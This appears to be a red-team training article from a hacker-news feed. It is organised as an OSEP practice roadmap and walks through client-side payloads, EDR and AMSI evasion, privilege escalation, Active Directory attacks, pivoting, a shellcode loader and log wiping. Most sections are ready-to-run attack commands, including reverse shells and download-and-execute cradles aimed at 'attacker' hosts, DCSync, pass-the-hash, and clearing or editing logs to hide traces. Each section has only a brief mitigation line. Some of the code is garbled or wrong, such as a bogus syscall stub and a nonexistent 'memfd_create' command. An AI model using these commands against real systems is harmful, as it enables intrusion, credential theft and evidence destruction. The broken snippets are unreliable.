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Introduction:
The Offensive Security Experienced Penetration Tester (OSEP) certification demands mastery of advanced evasion, lateral movement, and custom exploitation—far beyond basic OSCP techniques. This article extracts actionable training modules from a real-world OSEP practice program, delivering a hands-on CTF-based roadmap that covers everything from initial client-side attacks to post-exploitation persistence and defense evasion.
Learning Objectives:
- Execute advanced Active Directory attacks and Kerberos abuse in a lab environment.
- Develop custom malware and tooling to bypass modern EDR/AV solutions.
- Perform tunneling and pivoting across segmented networks using native Windows/Linux commands.
You Should Know:
- Advanced Information Gathering & Initial Access – Client‑Side Attacks
Step‑by‑step guide to weaponizing Office macros and HTA files for initial access.
What this does: Modern red team engagements often start with phishing or drive‑by downloads. This section teaches how to generate malicious documents that bypass common security filters.
How to use it: Use `msfvenom` to create a reverse shell payload embedded in an HTA file, then obfuscate with PowerShell.
Linux command (payload generation):
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=443 -f hta-psh -o evil.hta
Obfuscation with Invoke-Obfuscation (PowerShell):
On Windows attack machine with Invoke-Obfuscation
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation -ScriptBlock {IEX(New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')} -Output cmd
Mitigation: Enable Attack Surface Reduction rules (ASR) in Microsoft Defender for Office 365, block macros from the internet, and use AMSI integration.
- Bypassing Security Controls – EDR & AV Evasion
Step‑by‑step guide to user‑land hooking and direct syscalls.
What this does: Modern EDRs hook Windows APIs to inspect malicious behavior. By invoking syscalls directly (e.g., NtCreateProcess), you bypass user‑land hooks.
How to use it: Compile a C++ program that uses `syscall` stubs instead of `kernel32.dll` functions.
Example C++ syscall for process injection (excerpt):
include <windows.h>
include <winternl.h>
typedef NTSTATUS(NTAPI pNtCreateThreadEx)(...);
// Manually resolve syscall number from ntdll
DWORD syscall_number = 0x00; // Varies by Windows build
__asm {
mov eax, syscall_number
mov edx, 0x7FFE0300 // KiFastSystemCall
call edx
}
Windows command to disable AMSI for testing (administrator):
Set-MpPreference -DisableRealtimeMonitoring $true
Linux detection evasion: Use `memfd_create` to run malware entirely in memory without touching disk:
curl -s http://attacker/shell.bin | memfd_create -s "memfd" && exec /proc/self/fd/0
Mitigation: Deploy Microsoft Defender for Endpoint with block mode and enable Credential Guard.
- Windows & Linux Privilege Escalation – Kernel Exploits and Misconfigurations
Step‑by‑step guide to abusing SeImpersonate privileges on Windows and SUID binaries on Linux.
What this does: After gaining a low-priv shell, you must escalate to SYSTEM or root using token impersonation (Windows) or misconfigured setuid files (Linux).
How to use it: On Windows, use PrintSpoofer or JuicyPotatoNG. On Linux, find writable SUID binaries.
Windows privilege escalation (PrintSpoofer):
Upload PrintSpoofer64.exe to target .\PrintSpoofer64.exe -i -c cmd.exe Spawns SYSTEM shell
Linux SUID abuse (find command):
find / -perm -4000 -type f 2>/dev/null If /usr/bin/vi has SUID, escape to root: vi :!sh
Kernel exploit check on Linux:
uname -a searchsploit linux kernel <version> Compile and run dirtypipe (CVE-2022-0847) gcc dirtypipe.c -o dirtypipe ./dirtypipe /etc/passwd 0
Mitigation: Enforce `SeImpersonate` removal for non-admin accounts; disable SUID on unnecessary binaries using chmod 0755.
- Active Directory Enumeration & Lateral Movement – Pass‑the‑Hash and DCSync
Step‑by‑step guide to enumerating AD with BloodHound and moving laterally using WMI and PsExec.
What this does: Attackers map domain trust relationships, find high-value targets, and reuse hashes to move without cracking passwords.
How to use it: Deploy SharpHound, import data into BloodHound, then use `mimikatz` for DCSync.
Active Directory enumeration (Windows from low-priv shell):
Download SharpHound
iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/SharpHound/master/SharpHound.ps1')
Invoke-BloodHound -CollectionMethod All -Domain target.local
Pass‑the‑Hash with Impacket (Linux):
impacket-wmiexec -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c [email protected]
DCSync attack (requires Domain Admin or Replicating Directory Changes rights):
On Windows with mimikatz privilege::debug lsadump::dcsync /domain:target.local /user:krbtgt
Mitigation: Enable Protected Users group, use LAPS for local admin password rotation, and enforce Kerberos Armoring (FAST).
- Tunneling & Pivoting – SSH Reverse Port Forwarding and Chisel
Step‑by‑step guide to pivoting through a compromised Linux jump host to reach an internal network.
What this does: After breaching a perimeter host, you tunnel traffic to access otherwise unreachable internal systems (e.g., a SQL server on 10.0.0.5).
How to use it: Use SSH dynamic port forwarding or deploy Chisel for HTTP/HTTPS tunneling.
Linux SSH reverse tunnel (attacker listens, victim connects):
On victim (compromised Linux host) ssh -R 1080:localhost:1080 [email protected] On attacker, set proxy to socks5://127.0.0.1:1080 in proxychains
Chisel (cross‑platform) – server on attacker:
Attacker (public IP) chisel server -p 8000 --reverse Victim (compromised host) chisel client attacker.com:8000 R:socks
Windows pivot with netsh port forwarding:
netsh interface portproxy add v4tov4 listenport=4455 listenaddress=0.0.0.0 connectport=445 connectaddress=10.0.0.5
Mitigation: Implement network segmentation with micro‑perimeters; monitor for unexpected SSH tunnels using eBPF or netflow.
- Custom Malware & Tool Development – Shellcode Reflective Loading
Step‑by‑step guide to writing a custom loader in C that executes shellcode without touching disk.
What this does: Many EDRs flag well‑known payloads (Metasploit, Cobalt Strike). A custom loader that decrypts embedded shellcode and jumps to it evades signature detection.
How to use it: Compile the following C code with MinGW or Visual Studio.
Custom shellcode loader (C):
include <windows.h>
unsigned char payload[] = { 0xfc,0x48,0x83,... }; // your shellcode
int main() {
void exec = VirtualAlloc(0, sizeof(payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, payload, sizeof(payload));
((void()())exec)();
return 0;
}
Compilation on Linux for Windows target:
x86_64-w64-mingw32-gcc loader.c -o loader.exe -O3 -s
Obfuscation with Golang and garble:
go get mvdan.cc/garble garble -literals -tiny build -o loader_obfuscated.exe loader.go
Mitigation: Enable Windows Defender Application Control (WDAC) or AppLocker to whitelist only signed binaries.
- Defense Evasion & OPSEC – Clearing Event Logs and Unhooking AMSI
Step‑by‑step guide to removing forensic evidence and bypassing AMSI using patching.
What this does: After achieving objectives, you must erase traces and avoid script block logging.
How to use it: Clear specific event logs using `wevtutil` or powershell, then patch AMSI in memory.
Windows command to clear security log (requires admin):
wevtutil cl Security
AMSI bypass via memory patching (PowerShell one‑liner):
$amsi = [bash].Assembly.GetType('System.Management.Automation.AmsiUtils'); $amsi.GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Linux OPSEC – remove bash history and wipe log entries:
unset HISTFILE shred -u ~/.bash_history Remove last login entry sed -i '/attacker_ip/d' /var/log/auth.log
Mitigation: Forward logs to a SIEM (Splunk, Sentinel) with immutable storage; deploy EDR that monitors AMSI patches.
What Undercode Say:
- Hands‑on CTF beats theory. The OSEP modules listed—tunneling, AD attacks, custom malware—require a lab environment; replicate them using VirtualBox and the `GOAD` (Game of Active Directory) project.
- Evasion is a moving target. Commands like `wevtutil cl Security` are flagged by modern EDRs; learn to use `wevtutil epl` to export and delete only specific event IDs (e.g., 4624 for logons) to stay under the radar.
- The future is tradecraft. With Microsoft locking down LSASS and AMSI, attackers must shift to indirect syscalls and callback obfuscation—tools like `CallStackSpoofer` and `Syswhispers2` are now essential.
Prediction:
Within 12 months, OSEP‑level training will incorporate AI‑driven payload generation (e.g., using LLMs to rewrite shellcode polymorphically) and cloud‑native pivoting (Azure Function apps as C2 redirectors). Defenders will respond with kernel‑level EDR sensors and real‑time memory scanning, making current syscall bypass techniques obsolete. Professionals who master both custom tool development and Active Directory misconfigurations will lead the next red‑team wave.
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Reported By: Shikhhayadav Oscp – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
